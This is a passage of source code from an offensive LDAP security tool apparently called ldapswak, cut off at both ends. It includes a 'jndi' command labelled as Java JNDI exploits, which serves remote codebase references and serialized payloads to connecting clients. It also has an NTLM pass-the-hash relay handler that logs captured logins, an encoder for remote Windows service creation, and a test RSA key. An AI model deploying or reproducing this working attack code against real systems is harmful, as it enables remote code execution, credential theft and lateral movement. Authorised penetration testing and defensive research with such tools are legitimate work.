aJ/DpukCHTj5KTQksojD4z1d+hk13RgZZJmtKmtbAoGBAJT+4DKYJfQDJqbIRDTx 19 | mQsZVaZaNE35uSHD6vQy1DxbcPbPexb686QfgGSZ69AQ3GCpxyVzJOFmqfZcHP+e 20 | 0Z5wPKzmDL5N9DOWeW+VcTyauCt50jfirHWPFZXTXGid4+nDfyOad8Yjre8K0Or5 21 | oRnSEt6vL0WrLwZGNQdYV/ARAoGBAL1O/oHezFP+Agx17dPq4KOGUSLb++Q447dZ 22 | qUYb8WgWpLP2fCDBQuaqptSX3N+tD5P/6NTDSqXYYZS96jsjINBgpMYgP705ISxE 23 | HFBXcVc2t6XLNahGohSL+mbvADKRn0StNPzPxZnxCTvPHtKa1ex1wu06Yxjx0gOR 24 | r++wsUSdAoGAOH9BhRc92BEONeLVYDAeYtML0/lPSIHWjde/OF6c7uV+UvoZVaCO 25 | uPMGyb2DetYfgYbToYUcNSiGteGUWS0jv9oYgg/lag/RQZXEFNQ+yRzaNcN2u63D 26 | KmMD1FWIUf6YWTLAiq3vIhPlk7GqzvjHL+4Y0gZyvo0eMZME7foBDzQ= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/JNDIServer.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.Closeable; 4 | import java.net.URL; 5 | import java.nio.file.Path; 6 | 7 | import org.slf4j.Logger; 8 | import org.slf4j.LoggerFactory; 9 | 10 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 11 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 12 | 13 | import picocli.CommandLine.Command; 14 | import picocli.CommandLine.Option; 15 | 16 | @Command(name = "jndi", description = "Java JNDI Exploits") 17 | public class JNDIServer extends BaseCommand implements CommandRunnable, Closeable { 18 | 19 | private static final Logger log = LoggerFactory.getLogger(JNDIServer.class); 20 | 21 | @Option(names = { "--referral" }, description = { "Referral to send" }) 22 | String referral; 23 | 24 | @Option(names = { "--serialized" }, description = { "Serialized data to supply" }) 25 | Path serialized; 26 | 27 | 28 | @Option(names = { "--ref-codebase" }, description = { "Reference Codebase URL" }) 29 | URL refCodebase; 30 | 31 | @Option(names = { "--ref-class" }, description = { "Reference Class" }) 32 | String refClass; 33 | 34 | @Option(names = { "--ref-address"}, description = { "Reference address"}) 35 | String refAddress[]; 36 | 37 | @Option(names = { "--ref-factory"}, description = { "Reference factory class"}) 38 | String refFactory; 39 | 40 | private InMemoryDirectoryServer listener; 41 | 42 | 43 | 44 | @Override 45 | public void run() throws Exception { 46 | InMemoryDirectoryServerConfig ldapcfg = createConfig(); 47 | ldapcfg.addInMemoryOperationInterceptor(new JNDIOperationInterceptor(this)); 48 | ldapcfg.addInMemoryOperationInterceptor(new CredentialsOperationInterceptor(this)); 49 | 50 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(ldapcfg); 51 | 52 | log.info("Starting {} listener on {}:{}", ssl ? "SSL" : (nostarttls ? "plain" : "StartTLS"), 53 | bind != null ? bind.getHostAddress() : "*", port); 54 | 55 | ds.startListening(); 56 | this.listener = ds; 57 | } 58 | 59 | 60 | public void close() { 61 | if ( this.listener != null ) { 62 | this.listener.shutDown(true); 63 | } 64 | } 65 | 66 | 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/Main.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.util.List; 4 | 5 | import org.slf4j.Logger; 6 | import org.slf4j.LoggerFactory; 7 | 8 | import com.google.inject.Guice; 9 | import com.google.inject.Injector; 10 | 11 | import picocli.CommandLine; 12 | 13 | public class Main { 14 | private static final Logger log = LoggerFactory.getLogger(Main.class); 15 | 16 | public static void main(String[] args) { 17 | Injector injector = Guice.createInjector(new LDAPModule()); 18 | MainCommand mainCommand = new MainCommand(); 19 | CommandLine cli = new CommandLine(mainCommand, new GuiceFactory(injector)); 20 | List parsed = cli.parse(args); 21 | 22 | if ( parsed.size() == 1 ) { 23 | parsed.get(0).usage(System.out); 24 | return; 25 | } 26 | 27 | for (CommandLine p : parsed) { 28 | if (p.isUsageHelpRequested()) { 29 | p.usage(System.out); 30 | return; 31 | } else if (p.isVersionHelpRequested()) { 32 | p.printVersionHelp(System.out); 33 | return; 34 | } 35 | } 36 | 37 | CommandLine last = parsed.get(parsed.size() - 1); 38 | BaseCommand cmd = last.getCommand(); 39 | 40 | setupLogger(cmd); 41 | 42 | log.debug("Starting initialization..."); 43 | try { 44 | log.debug("Command is {}", last.getCommandName()); 45 | if ( cmd instanceof CommandRunnable ) { 46 | ((CommandRunnable)cmd).run(); 47 | } 48 | } catch (Exception e) { 49 | log.error("Exception occured initializing server", e); 50 | } 51 | } 52 | 53 | private static void setupLogger(BaseCommand cfg) { 54 | Logger root = LoggerFactory.getLogger(Logger.ROOT_LOGGER_NAME); 55 | try { 56 | Class logCl = Class.forName("ch.qos.logback.classic.Logger"); 57 | if (logCl.isInstance(root)) { 58 | ch.qos.logback.classic.Level l = ch.qos.logback.classic.Level.INFO; 59 | 60 | if (cfg.quiet) { 61 | l = ch.qos.logback.classic.Level.WARN; 62 | } else if (cfg.verbosity.length >= 2) { 63 | l = ch.qos.logback.classic.Level.TRACE; 64 | } else if (cfg.verbosity.length >= 1) { 65 | l = ch.qos.logback.classic.Level.DEBUG; 66 | } 67 | 68 | ((ch.qos.logback.classic.Logger) root).setLevel(l); 69 | } 70 | } catch (ClassNotFoundException e) { 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/FakeServer.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.Closeable; 4 | import java.io.InputStream; 5 | import java.nio.file.Files; 6 | import java.nio.file.Path; 7 | import java.nio.file.StandardOpenOption; 8 | 9 | import org.slf4j.Logger; 10 | import org.slf4j.LoggerFactory; 11 | 12 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 13 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 14 | import com.unboundid.ldap.sdk.schema.Schema; 15 | import com.unboundid.ldif.LDIFReader; 16 | 17 | import picocli.CommandLine.Command; 18 | import picocli.CommandLine.Option; 19 | 20 | @Command(name = "fake", description = "Launch fake LDAP server") 21 | public class FakeServer extends BaseCommand implements CommandRunnable, Closeable { 22 | 23 | private static final Logger log = LoggerFactory.getLogger(FakeServer.class); 24 | 25 | @Option(names = { "--schema" }, description = { "LDIF schema to apply" }) 26 | Path schema; 27 | 28 | @Option(names = { "--load" }, description = { "LDIF file to load" }) 29 | Path[] load = new Path[0]; 30 | 31 | private InMemoryDirectoryServer service; 32 | 33 | CredentialsOperationInterceptor creds; 34 | 35 | @Override 36 | public void run() throws Exception { 37 | 38 | InMemoryDirectoryServerConfig ldapcfg = createConfig(); 39 | if (this.schema != null) { 40 | try (InputStream is = Files.newInputStream(this.schema, StandardOpenOption.READ)) { 41 | ldapcfg.setSchema(Schema.getSchema(is)); 42 | } 43 | } 44 | 45 | creds = new CredentialsOperationInterceptor(this); 46 | ldapcfg.addInMemoryOperationInterceptor(creds); 47 | 48 | if ( this.relayServer != null ) { 49 | ldapcfg.addSASLBindHandler(new PassTheHashNTLMSASLBindHandler(this)); 50 | } 51 | 52 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(ldapcfg); 53 | 54 | for (Path load : this.load) { 55 | try (InputStream is = Files.newInputStream(load, StandardOpenOption.READ)) { 56 | ds.importFromLDIF(false, new LDIFReader(is)); 57 | } 58 | } 59 | 60 | 61 | log.info("Starting {} listener on {}:{}", ssl ? "SSL" : (nostarttls ? "plain" : "StartTLS"), 62 | bind != null ? bind.getHostAddress() : "*", port); 63 | 64 | this.service = ds; 65 | ds.startListening(); 66 | } 67 | 68 | @Override 69 | public void close() { 70 | if ( this.service != null ) { 71 | this.service.shutDown(true); 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/ServerSocketFactoryWrapper.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.ServerSocket; 6 | import java.util.LinkedList; 7 | import java.util.List; 8 | 9 | import javax.net.ssl.SSLParameters; 10 | import javax.net.ssl.SSLServerSocket; 11 | import javax.net.ssl.SSLServerSocketFactory; 12 | 13 | public class ServerSocketFactoryWrapper extends SSLServerSocketFactory { 14 | 15 | 16 | private final SSLServerSocketFactory delegate; 17 | private final String[] cipherSuites; 18 | private final String[] protocols; 19 | 20 | public ServerSocketFactoryWrapper(SSLServerSocketFactory delegate, String[] cipherSuites, String[] protocols) { 21 | this.delegate = delegate; 22 | this.protocols = protocols != null ? protocols.clone() : new String[] { "TLSv1.2", "TLSv1.1", "TLSv1", "SSLv3" }; 23 | 24 | 25 | if ( cipherSuites != null ) { 26 | this.cipherSuites = cipherSuites.clone(); 27 | } else { 28 | List use = new LinkedList<>(); 29 | for ( String sup : delegate.getSupportedCipherSuites()) { 30 | if ( sup.contains("_anon_") || sup.contains("_NULL_") || sup.contains("_DES_")) { 31 | continue; 32 | } 33 | use.add(sup); 34 | } 35 | use.add("TLS_EMPTY_RENEGOTIATION_INFO_SCSV"); 36 | this.cipherSuites = use.toArray(new String[use.size()]); 37 | } 38 | } 39 | 40 | @Override 41 | public String[] getDefaultCipherSuites() { 42 | return delegate.getDefaultCipherSuites(); 43 | } 44 | 45 | @Override 46 | public String[] getSupportedCipherSuites() { 47 | return delegate.getSupportedCipherSuites(); 48 | } 49 | 50 | @Override 51 | public ServerSocket createServerSocket(int port) throws IOException { 52 | return configure(delegate.createServerSocket(port)); 53 | } 54 | 55 | @Override 56 | public ServerSocket createServerSocket(int port, int backlog) throws IOException { 57 | return configure(delegate.createServerSocket(port, backlog)); 58 | } 59 | 60 | @Override 61 | public ServerSocket createServerSocket(int port, int backlog, InetAddress ifAddress) throws IOException { 62 | return configure(delegate.createServerSocket(port, backlog, ifAddress)); 63 | } 64 | 65 | private ServerSocket configure(ServerSocket s) { 66 | SSLServerSocket ss = (SSLServerSocket) s; 67 | SSLParameters params = new SSLParameters(cipherSuites, protocols); 68 | params.setUseCipherSuitesOrder(true); 69 | ss.setSSLParameters(params); 70 | return ss; 71 | } 72 | 73 | } 74 | -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/ProxyServerTest.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import static org.junit.jupiter.api.Assertions.assertEquals; 4 | import static org.junit.jupiter.api.Assertions.assertNotEquals; 5 | import static org.junit.jupiter.api.Assertions.assertNotNull; 6 | 7 | import java.nio.file.Path; 8 | import java.nio.file.Paths; 9 | 10 | import org.junit.jupiter.api.Test; 11 | 12 | import com.unboundid.ldap.sdk.Attribute; 13 | import com.unboundid.ldap.sdk.LDAPConnection; 14 | import com.unboundid.ldap.sdk.SearchResultEntry; 15 | 16 | public class ProxyServerTest extends BaseServerTest { 17 | 18 | @Test 19 | void testProxy() throws Exception { 20 | FakeServer c = createServerBase(); 21 | String data = getClass().getResource("/test-add.ldif").getFile(); 22 | assertNotNull(data); 23 | c.baseDN = new String[] { "dc=test" }; 24 | c.load = new Path[] { Paths.get(data) }; 25 | ProxyServer p = createProxyBase(); 26 | 27 | p.proxyServers = new String[] { String.format("%s:%d", c.bind.getHostAddress(), c.port) }; 28 | 29 | ServerThread st = new ServerThread<>(c); 30 | try { 31 | st.waitStart(); 32 | ServerThread pt = new ServerThread<>(p); 33 | try { 34 | pt.waitStart(); 35 | 36 | assertNotEquals(st.command.port, pt.command.port); 37 | 38 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), pt.command.port)) { 39 | 40 | SearchResultEntry sre = lc.getEntry("cn=foo,dc=test"); 41 | Attribute a = sre.getAttribute("sn"); 42 | assertNotNull(a); 43 | assertEquals("Test", a.getValue()); 44 | } 45 | } finally { 46 | pt.shutdown(); 47 | } 48 | } finally { 49 | st.shutdown(); 50 | } 51 | } 52 | 53 | @Test 54 | void testProxySSL() throws Exception { 55 | FakeServer c = createServerBase(); 56 | String data = getClass().getResource("/test-add.ldif").getFile(); 57 | assertNotNull(data); 58 | c.baseDN = new String[] { "dc=test" }; 59 | c.load = new Path[] { Paths.get(data) }; 60 | c.ssl = true; 61 | ProxyServer p = createProxyBase(); 62 | 63 | p.proxyServers = new String[] { String.format("%s:%d", c.bind.getHostAddress(), c.port) }; 64 | p.proxySSL = true; 65 | 66 | ServerThread st = new ServerThread<>(c); 67 | try { 68 | st.waitStart(); 69 | ServerThread pt = new ServerThread<>(p); 70 | try { 71 | pt.waitStart(); 72 | 73 | assertNotEquals(st.command.port, pt.command.port); 74 | 75 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), pt.command.port)) { 76 | 77 | SearchResultEntry sre = lc.getEntry("cn=foo,dc=test"); 78 | Attribute a = sre.getAttribute("sn"); 79 | assertNotNull(a); 80 | assertEquals("Test", a.getValue()); 81 | } 82 | } finally { 83 | pt.shutdown(); 84 | } 85 | } finally { 86 | st.shutdown(); 87 | } 88 | } 89 | 90 | } 91 | -------------------------------------------------------------------------------- /src/test/resources/test-combined.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEAzMnbKmC/HK3Tv+mR7kTQ11B4LEdmgfTINuNrKE7PrnONdnb3 3 | NOMQ2GDLehU3YJPh02BXeKfQqN/nGgLLUoGjFbdeNL3LvbWpSb3nQNvem4tAwAEF 4 | ip6fAhgFuT5VR/wbsu9AEfqimF1/Q9Gw3udNDIflhVN9y4vnHVOZBz+2ScJISTOL 5 | 7S7LWAoY9C0fSbbWfAO8I7xai3I2zDrrhAFzJ3DuvPORBh95f6O/oIFFxhWLZ+oO 6 | wC9LBvdvmSGMPZ17/MJHbmS7nWfioKptnChFYPW2jeS46ybertQOQBxINbEgLUwm 7 | pZdXuy8RoAifSE1psTc/lBTQ7/jARX6u6DWP2QIDAQABAoIBAQCj1DR2EZGyUsmc 8 | tTGeiQT9y41n9vLlsjrd1k+qnmn86MpZ5FBdye12/PCrSP/VTlkR7ffsOWxvPTg3 9 | kdawua8LN3ew/8lXilXU/YxcUckjbGKvd+HEBKO2XBtwF5LIFMLgAhCikXy0IdAn 10 | JEC4AhiclrciUynGxbRtvKwmpWyiUc/HpY4ubwS3RxVJ48K6rHdKa36eenTWL1S3 11 | v3Bx6yaaY7SyL2ne2U8kyKoDoV9LWKI4QXwmPKV3gM9+Tek3AnXqey9vxq3qJexY 12 | AOCOgjlPhkJu1SNuPAWjxAdk7dCHi8BFqnMxffCPrtcGT5nv996EWdH9FjWgdovf 13 | ADSZpbtVAoGBAPxYNUCtVY4PGfI7dHhkBAAfIASM9TRUhBJmBLYMcLnEEh2JCU3/ 14 | wLH0tC9iLeZBmprmfRxG/QNpIcyz3NRPFCV7wpZukmudeDQmMUK7QWBZr+l3iwvV 15 | sD4186Xf1g52vddL5qSOO5kVQAE45P5Sv9MI0Q9qNStPJ4t+Mig0tXvbAoGBAM/B 16 | SqvjxJReO6GwopklK0gKK9D4SXWxjRAdohVe5kDnEA1sPhHflxe/PcCraQiXKsLg 17 | W7k72ZhS0ZznYXYBMzmuWYVDqZntFGcT4n3TVq6lI+8sc7C6vmZPMtzYdpjgKCbO 18 | aJ/DpukCHTj5KTQksojD4z1d+hk13RgZZJmtKmtbAoGBAJT+4DKYJfQDJqbIRDTx 19 | mQsZVaZaNE35uSHD6vQy1DxbcPbPexb686QfgGSZ69AQ3GCpxyVzJOFmqfZcHP+e 20 | 0Z5wPKzmDL5N9DOWeW+VcTyauCt50jfirHWPFZXTXGid4+nDfyOad8Yjre8K0Or5 21 | oRnSEt6vL0WrLwZGNQdYV/ARAoGBAL1O/oHezFP+Agx17dPq4KOGUSLb++Q447dZ 22 | qUYb8WgWpLP2fCDBQuaqptSX3N+tD5P/6NTDSqXYYZS96jsjINBgpMYgP705ISxE 23 | HFBXcVc2t6XLNahGohSL+mbvADKRn0StNPzPxZnxCTvPHtKa1ex1wu06Yxjx0gOR 24 | r++wsUSdAoGAOH9BhRc92BEONeLVYDAeYtML0/lPSIHWjde/OF6c7uV+UvoZVaCO 25 | uPMGyb2DetYfgYbToYUcNSiGteGUWS0jv9oYgg/lag/RQZXEFNQ+yRzaNcN2u63D 26 | KmMD1FWIUf6YWTLAiq3vIhPlk7GqzvjHL+4Y0gZyvo0eMZME7foBDzQ= 27 | -----END RSA PRIVATE KEY----- 28 | -----BEGIN CERTIFICATE----- 29 | MIIC9DCCAdygAwIBAgIJAOUn5k4bZlaUMA0GCSqGSIb3DQEBCwUAMA8xDTALBgNV 30 | BAMMBHRlc3QwHhcNMTkwMjE0MTQ0MTU2WhcNMTkwMjE1MTQ0MTU2WjAPMQ0wCwYD 31 | VQQDDAR0ZXN0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzMnbKmC/ 32 | HK3Tv+mR7kTQ11B4LEdmgfTINuNrKE7PrnONdnb3NOMQ2GDLehU3YJPh02BXeKfQ 33 | qN/nGgLLUoGjFbdeNL3LvbWpSb3nQNvem4tAwAEFip6fAhgFuT5VR/wbsu9AEfqi 34 | mF1/Q9Gw3udNDIflhVN9y4vnHVOZBz+2ScJISTOL7S7LWAoY9C0fSbbWfAO8I7xa 35 | i3I2zDrrhAFzJ3DuvPORBh95f6O/oIFFxhWLZ+oOwC9LBvdvmSGMPZ17/MJHbmS7 36 | nWfioKptnChFYPW2jeS46ybertQOQBxINbEgLUwmpZdXuy8RoAifSE1psTc/lBTQ 37 | 7/jARX6u6DWP2QIDAQABo1MwUTAdBgNVHQ4EFgQUatkE4nnEY0t7UE3p2Bjl8Jca 38 | RtEwHwYDVR0jBBgwFoAUatkE4nnEY0t7UE3p2Bjl8JcaRtEwDwYDVR0TAQH/BAUw 39 | AwEB/zANBgkqhkiG9w0BAQsFAAOCAQEACwtlfWO9kzzzoGNnAwSPnyNSXNNyVWXC 40 | 3DpIAy7hoy1M5vn/Wwrg+25i3gagV3e6WTGmwumw+XWcLdd3BToFXtJr3PLBhJs+ 41 | CYEPwzAmiGX0Pm29bAR+4hxRBcY+wfg6aHHZbfyFflbjYghI1wubdxJG2C2fOiGZ 42 | WfLAVeCx5M5aZ2Vdg5aDTeyxLBFgVi2kdEH0Nspyunt0g882L9ZaWsfkW2QU3o2H 43 | GifHUjSpoBc+N1EqFFSBcJv7zl4x0eCcsBiWynKIS6H3PkIZHp4GHZsHJFr5vG9H 44 | BmRL4j805ayXUrU53H3K0knLJQPnF4pjYV+0RO9twDEzSMS/QDxUow== 45 | -----END CERTIFICATE----- 46 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMRCreateServiceW.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | import jcifs.util.Strings; 7 | 8 | public class SCMRCreateServiceW extends DcerpcMessage { 9 | 10 | private byte[] handle; 11 | 12 | public String serviceName; 13 | public String displayName; 14 | public int desiredAccess; 15 | public int serviceType; 16 | public int startType; 17 | public int errorControl; 18 | 19 | public String binaryPathName; 20 | public String loadOrderGroup; 21 | 22 | public int tagId; 23 | 24 | public String[] dependencies; 25 | public String serviceStartName; // user to run the service as 26 | public String password; 27 | 28 | public int retval; 29 | public byte[] serviceHandle = new byte[20]; 30 | 31 | public SCMRCreateServiceW(byte[] handle) { 32 | this.handle = handle; 33 | this.ptype = 0; 34 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 35 | } 36 | 37 | @Override 38 | public int getOpnum() { 39 | return 12; 40 | } 41 | 42 | @Override 43 | public void encode_in(NdrBuffer buf) throws NdrException { 44 | 45 | buf.writeOctetArray(this.handle, 0, this.handle.length); 46 | 47 | buf.enc_ndr_string(this.serviceName != null ? this.serviceName : ""); 48 | 49 | buf.enc_ndr_referent(this.displayName, 1); 50 | if (this.displayName != null) { 51 | buf.enc_ndr_string(this.displayName); 52 | } 53 | 54 | buf.enc_ndr_long(this.desiredAccess); 55 | buf.enc_ndr_long(this.serviceType); 56 | buf.enc_ndr_long(this.startType); 57 | buf.enc_ndr_long(this.errorControl); 58 | 59 | buf.enc_ndr_string(this.binaryPathName != null ? this.binaryPathName : ""); 60 | 61 | buf.enc_ndr_referent(this.loadOrderGroup, 1); 62 | if (this.loadOrderGroup != null) { 63 | buf.enc_ndr_string(this.loadOrderGroup); 64 | } 65 | 66 | buf.enc_ndr_long(this.tagId); 67 | 68 | buf.enc_ndr_referent(this.dependencies, 1); 69 | int depLen = 0; 70 | if (this.dependencies != null) { 71 | for (String dep : this.dependencies) { 72 | byte[] dbytes = Strings.getUNIBytes(dep); 73 | buf.writeOctetArray(dbytes, 0, dbytes.length); 74 | buf.advance(1); 75 | depLen += dbytes.length + 1; 76 | } 77 | depLen += 1; 78 | } 79 | buf.enc_ndr_long(depLen); 80 | 81 | buf.enc_ndr_referent(this.serviceStartName, 1); 82 | if (this.serviceStartName != null) { 83 | buf.enc_ndr_string(this.serviceStartName); 84 | } 85 | 86 | buf.enc_ndr_referent(this.password, 1); 87 | int pwLen = 0; 88 | if (this.password != null) { 89 | byte[] pwbytes = Strings.getUNIBytes(this.password); 90 | buf.writeOctetArray(pwbytes, 0, pwbytes.length); 91 | buf.advance(1); 92 | pwLen += pwbytes.length + 1; 93 | } 94 | buf.enc_ndr_long(pwLen); 95 | 96 | } 97 | 98 | @Override 99 | public void decode_out(NdrBuffer buf) throws NdrException { 100 | this.tagId = buf.dec_ndr_long(); 101 | buf.readOctetArray(this.serviceHandle, 0, 20); 102 | this.retval = buf.dec_ndr_long(); 103 | } 104 | 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/PassTheHashNTLMSASLBindHandler.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.util.List; 4 | import org.slf4j.Logger; 5 | import org.slf4j.LoggerFactory; 6 | 7 | import com.unboundid.asn1.ASN1OctetString; 8 | import com.unboundid.ldap.listener.InMemoryRequestHandler; 9 | import com.unboundid.ldap.listener.InMemorySASLBindHandler; 10 | import com.unboundid.ldap.sdk.BindResult; 11 | import com.unboundid.ldap.sdk.Control; 12 | import com.unboundid.ldap.sdk.DN; 13 | import com.unboundid.ldap.sdk.ResultCode; 14 | 15 | import jcifs.ntlmssp.Type1Message; 16 | import jcifs.ntlmssp.Type2Message; 17 | import jcifs.ntlmssp.Type3Message; 18 | 19 | public class PassTheHashNTLMSASLBindHandler extends InMemorySASLBindHandler { 20 | 21 | private static final Logger log = LoggerFactory.getLogger(PassTheHashNTLMSASLBindHandler.class); 22 | 23 | private PassTheHashRunner runner; 24 | 25 | private final BaseCommand config; 26 | 27 | public PassTheHashNTLMSASLBindHandler(BaseCommand config) { 28 | this.config = config; 29 | } 30 | 31 | @Override 32 | public String getSASLMechanismName() { 33 | return "NTLM"; 34 | } 35 | 36 | @Override 37 | public BindResult processSASLBind(InMemoryRequestHandler handler, int messageID, DN bindDN, 38 | ASN1OctetString credentials, List controls) { 39 | 40 | if (credentials == null) { 41 | return new BindResult(messageID, ResultCode.INVALID_CREDENTIALS, "No credentials", null, null, null); 42 | } 43 | 44 | byte[] d = credentials.getValue(); 45 | 46 | log.debug("Message ID {}", messageID); 47 | try { 48 | 49 | if (d.length < 12 || d[0] != 'N' || d[1] != 'T' || d[2] != 'L' || d[3] != 'M' || d[4] != 'S' || d[5] != 'S' 50 | || d[6] != 'P' || d[7] != 0 || d[9] != 0 || d[10] != 0 || d[11] != 0) { 51 | log.debug("Not a NTLM message"); 52 | return new BindResult(messageID, ResultCode.INVALID_CREDENTIALS, "Not NTLM", null, null, null); 53 | } 54 | 55 | // yummy little endian 56 | if (d[8] == 1) { 57 | Type1Message t1 = new Type1Message(d); 58 | log.debug("NTLM Type1: {}", t1); 59 | runner = new PassTheHashRunner(t1,config); 60 | 61 | // fetch challenge 62 | Type2Message t2 = runner.go(); 63 | 64 | if ( t2 == null ) { 65 | log.warn("Did not receive NTLM challenge"); 66 | return new BindResult(messageID, ResultCode.INVALID_CREDENTIALS, "No challenge", null, null, null); 67 | } 68 | 69 | ASN1OctetString saslResponse = new ASN1OctetString(t2.toByteArray()); 70 | return new BindResult(messageID, ResultCode.SASL_BIND_IN_PROGRESS, null, null, null, null, 71 | saslResponse); 72 | } else if (d[8] == 3 ) { 73 | Type3Message t3 = new Type3Message(d); 74 | log.debug("NTLM Type3: {}", t3); 75 | log.info("Have NTLM login {}@{}", t3.getUser(), t3.getDomain()); 76 | runner.feed(t3); 77 | return new BindResult(messageID, ResultCode.SUCCESS, null, null, null, null); 78 | } else { 79 | log.debug("Unsupported message type"); 80 | } 81 | 82 | } catch (Exception e) { 83 | log.warn("Error parsing request", e); 84 | } 85 | 86 | return new BindResult(messageID, ResultCode.INVALID_CREDENTIALS, "Unknown state", null, null, null); 87 | } 88 | 89 | } 90 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/JNDIOperationInterceptor.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import java.net.MalformedURLException; 5 | import java.nio.file.Files; 6 | import java.util.Arrays; 7 | 8 | import org.slf4j.Logger; 9 | import org.slf4j.LoggerFactory; 10 | 11 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 12 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 13 | import com.unboundid.ldap.sdk.Control; 14 | import com.unboundid.ldap.sdk.Entry; 15 | import com.unboundid.ldap.sdk.LDAPException; 16 | import com.unboundid.ldap.sdk.LDAPResult; 17 | import com.unboundid.ldap.sdk.ResultCode; 18 | import com.unboundid.ldap.sdk.SearchResultReference; 19 | 20 | public class JNDIOperationInterceptor extends InMemoryOperationInterceptor { 21 | 22 | private static final Logger log = LoggerFactory.getLogger(JNDIOperationInterceptor.class); 23 | 24 | private final JNDIServer jndiServer; 25 | 26 | public JNDIOperationInterceptor(JNDIServer jndiServer) { 27 | this.jndiServer = jndiServer; 28 | } 29 | 30 | /** 31 | * {@inheritDoc} 32 | * 33 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 34 | */ 35 | @Override 36 | public void processSearchResult(InMemoryInterceptedSearchResult result) { 37 | String base = result.getRequest().getBaseDN(); 38 | Entry e = new Entry(base); 39 | try { 40 | if (this.jndiServer.referral != null) { 41 | sendReferral(result, base, e); 42 | } else if (this.jndiServer.refCodebase != null) { 43 | sendCodebaseResult(result, base, e); 44 | } else if (this.jndiServer.serialized != null) { 45 | sendSerializedResult(result, base, e); 46 | } else if (this.jndiServer.refAddress != null && this.jndiServer.refAddress.length > 0) { 47 | sendReferenceResult(result, base, e); 48 | } else { 49 | super.processSearchResult(result); 50 | } 51 | } catch (Exception e1) { 52 | e1.printStackTrace(); 53 | } 54 | 55 | } 56 | 57 | private void sendReferral(InMemoryInterceptedSearchResult result, String base, Entry e) 58 | throws LDAPException, MalformedURLException { 59 | String ref = this.jndiServer.referral; 60 | log.info("Sending referral to {}", ref); 61 | result.sendSearchReference(new SearchResultReference(new String[] { ref }, new Control[] {})); 62 | result.setResult(new LDAPResult(0, ResultCode.REFERRAL)); 63 | } 64 | 65 | private void sendCodebaseResult(InMemoryInterceptedSearchResult result, String base, Entry e) 66 | throws LDAPException, MalformedURLException { 67 | String codebase = this.jndiServer.refCodebase.toString(); 68 | // trailing slash is necessary 69 | if ( codebase.charAt(codebase.length() - 1 ) != '/') { 70 | codebase += '/'; 71 | } 72 | log.info("Sending remote ObjectFactory Reference classpath {} class {}", codebase, 73 | this.jndiServer.refClass); 74 | e.addAttribute("javaCodeBase", codebase); 75 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 76 | e.addAttribute("javaFactory", this.jndiServer.refClass); 77 | e.addAttribute("javaClassName", "java.util.HashMap"); 78 | result.sendSearchEntry(e); 79 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 80 | } 81 | 82 | private void sendSerializedResult(InMemoryInterceptedSearchResult result, String base, Entry e) 83 | throws LDAPException, MalformedURLException { 84 | log.info("Sending serialized object"); 85 | byte[] data; 86 | try { 87 | data = Files.readAllBytes(this.jndiServer.serialized); 88 | } catch (IOException e1) { 89 | log.error("Failed to read serialized data at " + this.jndiServer.serialized, e1); 90 | return; 91 | } 92 | e.addAttribute("objectClass", "javaSerializedData"); //$NON-NLS-1$ 93 | e.addAttribute("javaSerializedData", data); 94 | e.addAttribute("javaClassName", "java.util.HashMap"); 95 | result.sendSearchEntry(e); 96 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 97 | } 98 | 99 | private void sendReferenceResult(InMemoryInterceptedSearchResult result, String base, Entry e) 100 | throws LDAPException { 101 | log.info("Sending reference {}", Arrays.toString(this.jndiServer.refAddress)); 102 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 103 | e.addAttribute("javaReferenceAddress", this.jndiServer.refAddress); 104 | if ( this.jndiServer.refFactory != null) { 105 | e.addAttribute("javaFactory", this.jndiServer.refFactory); 106 | } 107 | e.addAttribute("javaClassName", "java.util.HashMap"); 108 | result.sendSearchEntry(e); 109 | 